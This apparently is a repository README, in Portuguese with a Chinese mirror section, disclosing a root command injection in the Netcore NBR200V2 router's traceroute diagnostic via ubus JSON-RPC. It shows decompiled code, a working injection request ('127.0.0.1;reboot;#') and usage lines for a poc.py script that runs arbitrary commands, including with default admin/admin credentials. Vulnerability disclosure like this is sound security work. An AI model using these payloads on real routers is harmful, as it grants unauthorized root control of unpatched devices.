hackspeak/cve-2026-94095PoC para CVE-2026-94095, uma injeção de comando traceroute no firmware Netcore NBR200V2 via ubus JSON-RPC, permitindo RCE como root para testes autorizados.
| Campo | Valor |
|---|---|
| Fabricante | Netcore |
| Modelo | NBR200V2 |
| Versão de Firmware | V1.3.241127.071246 |
| Componente Afetado | /usr/bin/network_tools |
| Tipo de Vulnerabilidade | Injeção de Comando do SO (CWE-74 / CWE-77) |
| CVSS 3.1 | 9.9 (Crítico) |
| Vetor de Ataque | Remoto (ubus JSON-RPC) |
| Pré-requisito | Endpoint ubus acessível + uma sessão de baixo privilégio (sid) |
| Status do Fabricante | Contatado precocemente; sem resposta; sem patch no momento da divulgação |
O firmware V1.3.241127.071246 do Netcore NBR200V2 contém uma vulnerabilidade de injeção remota de comandos no recurso de diagnóstico traceroute. O manipulador de traceroute aceita um valor url controlado pelo atacante a partir do ubus JSON-RPC, concatena-o em um comando shell e executa o comando resultante. Um atacante remoto pode usar essa falha para executar comandos shell arbitrários, reiniciar o dispositivo ou obter comprometimento total do sistema.
A requisição remota é aceita como ubus JSON-RPC:
POST /ubus {"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"<attacker-controlled>","max_hop":1,"wanid":0}]}
O mapeamento do método ubus encaminha a requisição para sub_401BD8:
object.name = "network_tools"; object.methods = 0x412f4c; "tools_traceroute" -> sub_401BD8
sub_401BD8 analisa os dados JSON-RPC e os encaminha para tools_traceroute():
blobmsg_parse(&off_412FA4, 4, &v21, a5 + 4, (v6 & 0xFFFFFF) - 4);
...
v25[0] = v18; // action
v25[1] = v7; // url
v25[2] = _bswapsi2(*v8); // max_hop
...
result = tools_traceroute((int)v25);
tools_traceroute() constrói um comando shell usando o valor url não confiável:
snprintf(
v4, 0x100u,
"(traceroute %s -m %d > %s && echo \"traceroute ending\" >> %s; touch %s)&",
v2, *(_DWORD *)(a1 + 8), "/tmp/traceroute.txt", "/tmp/traceroute.txt", "/tmp/.tracroute_end");
system(v4);
A vulnerabilidade é estruturalmente idêntica ao problema do ping, mas atinge um sink e um caminho de execução diferentes. Como system() é usado, separadores de comando como ;, && e comentários de shell são aceitos. O recurso de diagnóstico, portanto, torna-se uma primitiva de execução de comandos de uso geral.
POST /ubus
Content-Type: application/json
{"jsonrpc":"2.0","id":20,"method":"call","params":["<sid>","network_tools","tools_traceroute",{"action":"start","url":"127.0.0.1;reboot;#","max_hop":1}]}
Efeito esperado: o roteador executa reboot enquanto processa a tarefa de traceroute. Comandos shell arbitrários podem ser substituídos por reboot.
Todos os três atingem o mesmo /usr/bin/network_tools; as funções de diagnóstico neste binário compartilham o mesmo padrão inseguro, portanto corrigir um único ponto de entrada não é suficiente.
Nenhum patch do fabricante no momento da divulgação. Mitigações provisórias:
Divulgação pelo pesquisador independente que publicou o relatório técnico e coordenou (sem sucesso) com o fabricante.
本仓库为 CVE-2026-94095(Netcore NBR200V2 traceroute 命令注入) 漏洞 PoC 的中转分发镜像(英文技术披露见上方 CVE-2026-94095.md)。内容依据公开披露文档整理,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
/usr/bin/network_tools(traceroute 诊断功能)POST /ubus)核心原理:tools_traceroute() 用 snprintf 把攻击者可控的 url 参数拼进 shell 命令,再交给 system() 执行;url 未做任何过滤/转义,分号 ;、&&、管道、注释符 # 均有效——诊断功能因此变成通用命令执行原语。
CVE-2026-94095.md —— 公开披露整理(调用链、反编译片段、PoC 请求)
poc.py —— 可用 PoC 脚本(ubus JSON-RPC 注入,纯标准库)
POST /ubus 与一个有效 sid# 已有 sid:
python3 poc.py --target http://192.168.1.1 --sid <SESSION_ID> --cmd "id"
# 用账号口令获取 sid(弱口令/默认口令场景):
python3 poc.py --target http://192.168.1.1 --user admin --password admin --cmd "reboot"
⚠️ 命令会被拼接为
127.0.0.1;<命令>;#注入url参数;reboot会直接重启设备,请仅在授权/可销毁环境测试。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以设备最高权限执行任意命令(默认运行于 root 上下文),请在可销毁的实验室环境中测试。
LICENSE)。